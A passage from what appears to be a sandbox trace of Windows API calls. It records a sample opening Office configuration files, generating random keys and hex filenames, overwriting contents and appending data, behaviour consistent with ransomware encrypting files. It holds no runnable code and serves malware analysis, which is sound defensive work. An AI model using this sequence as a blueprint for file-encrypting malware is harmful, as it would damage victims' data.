lpNumberOfBytesWritten=0x3a00f8f4, lpOverlapped=0x0 | out: lpBuffer=0x42b1ee50*, lpNumberOfBytesWritten=0x3a00f8f4*=0x298, lpOverlapped=0x0) returned 1 [0161.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4a30 [0161.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4a60 [0161.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4a60) returned 1 [0161.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b1ee50) returned 1 [0161.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b1b240) returned 1 [0161.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6a20) returned 1 [0161.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b9d0) returned 1 [0161.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a4a60 [0161.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b9d0 [0161.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6a20 [0161.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4a90 [0161.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4a90) returned 1 [0161.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a4a90 [0161.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4ac0 [0161.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4af0 [0161.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4af0) returned 1 [0161.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6a20) returned 1 [0161.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b9d0) returned 1 [0161.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x420550b0 [0161.633] SetFilePointerEx (in: hFile=0xab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.634] WriteFile (in: hFile=0xab8, lpBuffer=0x420550b0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a00fa10, lpOverlapped=0x0 | out: lpBuffer=0x420550b0*, lpNumberOfBytesWritten=0x3a00fa10*=0x106, lpOverlapped=0x0) returned 1 [0163.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab310 [0163.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab310) returned 1 [0163.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d200 [0163.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab310 [0163.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abcd0 [0163.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abcd0) returned 1 [0163.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d7f40 [0163.409] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="14") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="89") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="97") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="ad") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="45") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="6a") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="f1") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="30") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="04") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="34") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="70") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="12") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="7a") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="fd") returned 2 [0163.409] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="cf") returned 2 [0163.409] RtlInitAnsiString (in: DestinationString=0x3a00fa88, SourceString="1489cd97ad45d36af1300434700d12e37ae4fdcf" | out: DestinationString="1489cd97ad45d36af1300434700d12e37ae4fdcf") [0163.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a00fa58, SourceString="1489cd97ad45d36af1300434700d12e37ae4fdcf", AllocateDestinationString=1 | out: DestinationString="1489cd97ad45d36af1300434700d12e37ae4fdcf") returned 0x0 [0163.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86430 [0163.410] RtlFreeAnsiString (AnsiString="1") [0163.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab310) returned 1 [0163.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420550b0) returned 1 [0163.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4a90) returned 1 [0163.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4ac0) returned 1 [0163.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4a60) returned 1 [0163.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4a30) returned 1 [0163.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1220) returned 1 [0163.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac12e0) returned 1 [0163.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1310) returned 1 [0163.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb5bb0 [0163.413] wcscat (in: _Dest=0x1cdb5bb0, _Source="1489cd97ad" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1489cd97ad") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1489cd97ad" [0163.413] wcscat (in: _Dest=0x1cdb5bb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1489cd97ad.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1489cd97ad.2f9b60" [0163.413] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1489cd97ad.2f9b60", NtPathName=0x3a00fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1489cd97ad.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce23160 Thread: id = 2656 os_tid = 0x21ec [0157.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg")) returned 0x20 [0157.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG", dwFileAttributes=0x20) returned 1 [0157.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1090 [0157.343] GetFileSizeEx (in: hFile=0x1090, lpFileSize=0x3a6bfa40 | out: lpFileSize=0x3a6bfa40*=647) returned 1 [0157.343] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x283, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.343] ReadFile (in: hFile=0x1090, lpBuffer=0x3a6bf9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a6bfa08, lpOverlapped=0x0 | out: lpBuffer=0x3a6bf9c0*, lpNumberOfBytesRead=0x3a6bfa08*=0x4, lpOverlapped=0x0) returned 1 [0157.344] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac12b0 [0157.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1340 [0157.345] NtQuerySystemTime (in: CurrentTime=0x3a6bf900 | out: CurrentTime=0x3a6bf900*=132462177624814000) returned 0x0 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x593de1e [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0xc119ff3 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x45f9edaa [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x609b8bf [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x6ac6226 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x196ce9d6 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0xab8d3e4 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x5d9f1a3f [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x49896ef4 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x357fb005 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x22ecb43e [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x40ffc56f [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x5bfbe366 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x3da43e07 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x3c639176 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x76558c0c [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x842a62a [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x26c2c0ac [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x7d4f12b3 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x244dd5c7 [0157.345] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0xe737bda [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x527199c [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x6a0777f8 [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x1f75e199 [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x23fb3ee1 [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x7946f77d [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x7dd13f62 [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x44454457 [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x619fce40 [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x2caa921c [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x265576a [0157.346] RtlRandomEx (in: Seed=0x3a6bf8f0 | out: Seed=0x3a6bf8f0) returned 0x6c4aa0c3 [0157.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1370 [0157.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6aa0 [0157.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac13a0 [0157.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6aa0) returned 1 [0157.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1340) returned 1 [0157.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba20 [0157.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6aa0 [0157.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b22a60 [0157.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b26670 [0157.359] ReadFile (in: hFile=0x1090, lpBuffer=0x42b22a60, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x3a6bf8f0, lpOverlapped=0x0 | out: lpBuffer=0x42b22a60*, lpNumberOfBytesRead=0x3a6bf8f0*=0x287, lpOverlapped=0x0) returned 1 [0157.359] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.359] WriteFile (in: hFile=0x1090, lpBuffer=0x42b26670*, nNumberOfBytesToWrite=0x287, lpNumberOfBytesWritten=0x3a6bf8f4, lpOverlapped=0x0 | out: lpBuffer=0x42b26670*, lpNumberOfBytesWritten=0x3a6bf8f4*=0x287, lpOverlapped=0x0) returned 1 [0161.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4af0 [0161.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4b20 [0161.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4b20) returned 1 [0161.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b26670) returned 1 [0161.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b22a60) returned 1 [0161.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6aa0) returned 1 [0161.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba20) returned 1 [0161.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a4b20 [0161.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba20 [0161.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6aa0 [0161.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4b50 [0161.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4b50) returned 1 [0161.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a4b50 [0161.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4b80 [0161.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4bb0 [0161.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4bb0) returned 1 [0161.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6aa0) returned 1 [0161.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba20) returned 1 [0161.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x420551c0 [0161.643] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.643] WriteFile (in: hFile=0x1090, lpBuffer=0x420551c0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a6bfa10, lpOverlapped=0x0 | out: lpBuffer=0x420551c0*, lpNumberOfBytesWritten=0x3a6bfa10*=0x106, lpOverlapped=0x0) returned 1 [0163.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1310 [0163.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1310) returned 1 [0163.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d200 [0163.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1310 [0163.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac12e0 [0163.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac12e0) returned 1 [0163.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d7f40 [0163.419] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="d0") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="6e") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="0a") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="d7") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="1f") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="1a") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="7b") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="63") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.419] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="af") returned 2 [0163.419] RtlInitAnsiString (in: DestinationString=0x3a6bfa88, SourceString="fad06e0a5c9fd7e41fd4d11aa27d9f7b63ab9aaf" | out: DestinationString="fad06e0a5c9fd7e41fd4d11aa27d9f7b63ab9aaf") [0163.419] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a6bfa58, SourceString="fad06e0a5c9fd7e41fd4d11aa27d9f7b63ab9aaf", AllocateDestinationString=1 | out: DestinationString="fad06e0a5c9fd7e41fd4d11aa27d9f7b63ab9aaf") returned 0x0 [0163.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd869d0 [0163.420] RtlFreeAnsiString (AnsiString="f") [0163.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1310) returned 1 [0163.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420551c0) returned 1 [0163.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4b50) returned 1 [0163.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4b80) returned 1 [0163.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4b20) returned 1 [0163.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4af0) returned 1 [0163.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac12b0) returned 1 [0163.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1370) returned 1 [0163.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac13a0) returned 1 [0163.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb5c50 [0163.423] wcscat (in: _Dest=0x1cdb5c50, _Source="fad06e0a5c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fad06e0a5c") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fad06e0a5c" [0163.423] wcscat (in: _Dest=0x1cdb5c50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fad06e0a5c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fad06e0a5c.2f9b60" [0163.423] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fad06e0a5c.2f9b60", NtPathName=0x3a6bfa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fad06e0a5c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce23220 Thread: id = 2657 os_tid = 0x21f0 [0157.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg")) returned 0x20 [0157.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG", dwFileAttributes=0x20) returned 1 [0157.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1088 [0157.364] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x3966fae0 | out: lpFileSize=0x3966fae0*=771) returned 1 [0157.364] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x2ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.364] ReadFile (in: hFile=0x1088, lpBuffer=0x3966fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3966faa8, lpOverlapped=0x0 | out: lpBuffer=0x3966fa60*, lpNumberOfBytesRead=0x3966faa8*=0x4, lpOverlapped=0x0) returned 1 [0157.366] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1340 [0157.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac13d0 [0157.366] NtQuerySystemTime (in: CurrentTime=0x3966f9a0 | out: CurrentTime=0x3966f9a0*=132462177624970000) returned 0x0 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x2d4ceaf9 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x2e8fe6ed [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x6acbd1fc [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x7a183959 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x4ec5f0ff [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x4f715ce0 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x59ed8127 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x64319f46 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x50977a3b [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x20cd8ab6 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: 